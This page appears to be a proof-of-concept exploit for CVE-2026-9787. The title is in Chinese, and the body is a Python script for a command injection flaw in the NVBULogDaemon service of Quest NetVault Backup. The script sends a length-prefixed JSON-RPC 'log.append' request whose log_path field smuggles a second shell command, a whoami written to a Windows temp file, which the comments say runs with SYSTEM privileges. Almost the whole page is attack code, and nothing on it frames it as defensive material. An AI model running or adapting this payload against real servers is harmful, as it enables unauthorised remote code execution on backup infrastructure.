CVE-2026-9787 Quest NetVault Backup NVBULogDaemon命令注入远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2026-9787 - Quest NetVault Backup NVBULogDaemon Command Injection PoC # Vulnerability: Command Injection via JSON-RPC message in NVBULogDaemon # Reference: ZDI-CAN-27625 import socket import json import struct import sys TARGET_HOST = "127.0.0.1" TARGET_PORT = 8443 # Default NetVault NVBULogDaemon port def send_jsonrpc_request(host, port, payload): """Send a JSON-RPC payload to the NVBULogDaemon service.""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((host, port)) # Construct JSON-RPC message message = json.dumps(payload).encode('utf-8') # Send message length header followed by payload sock.sendall(struct.pack('>I', len(message)) + message) # Receive response response = sock.recv(4096) sock.close() return response except Exception as e: print(f"[ERROR] Connection failed: {e}") return None def exploit(): """ Exploit command injection in NVBULogDaemon JSON-RPC handler. The vulnerability exists due to lack of input validation on user-supplied string parameters before system call execution. """ # Malicious command injection payload # The injected command will execute with SYSTEM privileges injected_cmd = "; whoami > C:\\Windows\\Temp\\pwned.txt #" # JSON-RPC payload targeting the vulnerable log daemon method jsonrpc_payload = { "jsonrpc": "2.0", "method": "log.append", "params": { "log_path": injected_cmd, "message": "test" }, "id": 1 } print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") print(f"[*] Sending malicious JSON-RPC payload...") response = send_jsonrpc_request(TARGET_HOST, TARGET_PORT, jsonrpc_payload) if response: print(f"[+] Response received: {response.decode('utf-8', errors='ignore')}") print("[+] Command injection may have succeeded. Check target system.") else: print("[-] No response received.") if __name__ == "__main__": exploit()